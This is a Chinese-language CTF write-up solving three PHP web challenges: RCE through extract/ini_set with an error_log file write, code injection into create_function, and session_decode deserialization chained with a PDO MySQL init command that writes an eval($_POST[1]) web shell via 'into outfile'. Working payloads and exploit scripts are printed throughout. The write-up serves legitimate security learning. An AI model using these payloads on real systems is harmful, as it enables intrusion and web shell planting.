文章目錄
- 紅包挑戰7
- 紅包挑戰8
- 紅包挑戰9
紅包挑戰7
考點:xdebug拓展
源碼
<?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}
分析一下
error_reporting(2);
這將錯誤報告級別設置為僅顯示警告,這可能是為了隱藏潛在的錯誤消息,使用戶看不到;接著extract函數存在變量覆蓋;ini_set函數可以修改php拓展;然后字符串拼接命令執行,不過只有ls功能;最后給了黑名單過濾
我們簡單測試下,發現flag的位置
那么我們的問題就是如何讀取
思路:利用extract函數變量覆蓋和ini_set函數修改php配置選項,使得利用拓展實現RCE
我們看一下有什么可用的拓展,通常在/usr/lib/php/extensions
下,但是本題的路徑為/usr/local/lib/php/extensions
讀取一下,發現存在xdebug拓展
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731
結合本題特殊的
error_reporting(2)
,翻一下資料,發現xdebug拓展在處理截斷問題時會將異常payload回顯。而system剛好可以用0字節進行截斷來觸發異常,也就是%00截斷。我們已知可控php配置選項,由于不會設置為2不會回顯報錯,那么我們可以利用error_log函數控制報錯信息回顯的路徑
payload如下
(注意命令的雙引號,單引號被過濾了)
?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>
訪問
/hack.php
,然后再修改命令即可
紅包挑戰8
考點:create_function注入
源碼
<?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();
存在變量覆蓋,create_function函數第二個參數無法實現注入
由于我們第一個參數name也是可控的,payload如下
?name=){}system('tac /flag');//
紅包挑戰9
考點:session反序列化
題目是給了附件的
我們先看common.php
<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打碼public function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打碼'username' => '****',//敏感信息打碼'password' => '****',//敏感信息打碼'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('數據庫連接失敗:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作時間:".date("Y-m-d H:i:s")."用戶注冊: 用戶名 $username 密碼 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作時間:".date("Y-m-d H:i:s")."用戶登陸: 用戶名 $username 密碼 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作時間:".date("Y-m-d H:i:s")."用戶退出: 用戶名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作時間:".date("Y-m-d H:i:s")." 用戶名 $this->username 密碼 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}
不難發現存在文件寫入的功能考慮反序列化,但是沒有發現unserialize函數,不過我們分析下面代碼
public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}
語句session_decode($_GET['token']);
往session里面存放對象
語句$data = $_SESSION['user'];
往session里面拿取對象,拿取名字為user的對象。
所以滿足session反序列化條件的情況下,我們可以構造token=user| 惡意序列化字符串
來實現命令執行
(注:token的格式是因為session的存儲格式為鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值
)
我們訪問main.php,發現存在調用getLoginName()
<?php$name = $app->getLoginName('user');if($name){echo "恭喜你登陸成功 <a href='/index.php?action=logout'>退出登陸</a>";
}else{include 'login.html';
}
而要想訪問main.php調用此方法就要繼續看到index.php
<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登錄失敗";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break; case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注冊成功,請登陸");}else{echo "注冊失敗";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}
可以發現啟用session_start();
(說明思路沒錯),接收action參數進行switch選擇判斷,如果沒找到則跳轉main.php,所以我們只需要傳參action不為那三個值即可
思路捋清楚后我們看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我們分析下cookie_helper類
class cookie_helper{private $secret = "*************"; //敏感信息打碼public function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}
verify()首先用|
將cookie值隔開,判斷數量是否為2,如果不為2返回null(關鍵點在這)。
如果返回null的話data值為null,并且我們同時傳參token,那么就可以實現session反序列化
cookie值的生成方式也告訴我們$data = $value."|".md5($this->secret.$value);
,我們可以將注冊的用戶名添加一個|
,然后拼接的時候就會出現兩個|
,也就是數量為3實現返回null
注冊用戶名rev1ve|666,登錄得到cookie
然后我們簡單構造字符串
<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));
我們可以訪問log.txt看看(帶上cookie),發現成功寫入
那么我們getshell的方式就是寫馬
題目應該是開啟了PDO擴展(common.php中出現的mysql_helper類),用來連接數據庫。
利用PDO::MYSQL_ATTR_INIT_COMMAND
連接MySQL服務器時執行的命令(SQL語句)。將在重新連接時自動重新執行。注意,這個常量只能在構造一個新的數據庫句柄時在driver_options數組中使用。
構造惡意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
我們看向mysql_helper類,執行命令如下
public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);
往前推,可以發現application類實例化的時候會調用mysql_helper類
連接數據庫就得執行mysql_helper::get_pdo()方法,然后必須執行application::log_last_user()方法
private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}
往下看,發現debug的值為True才行
public function __destruct(){if($this->debug){$this->log_last_user();}
}
exp如下
<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));
直接隨便抓包一個界面,修改cookie為我們注冊rev1ve|666
的,添加payload
然后成功訪問得到flag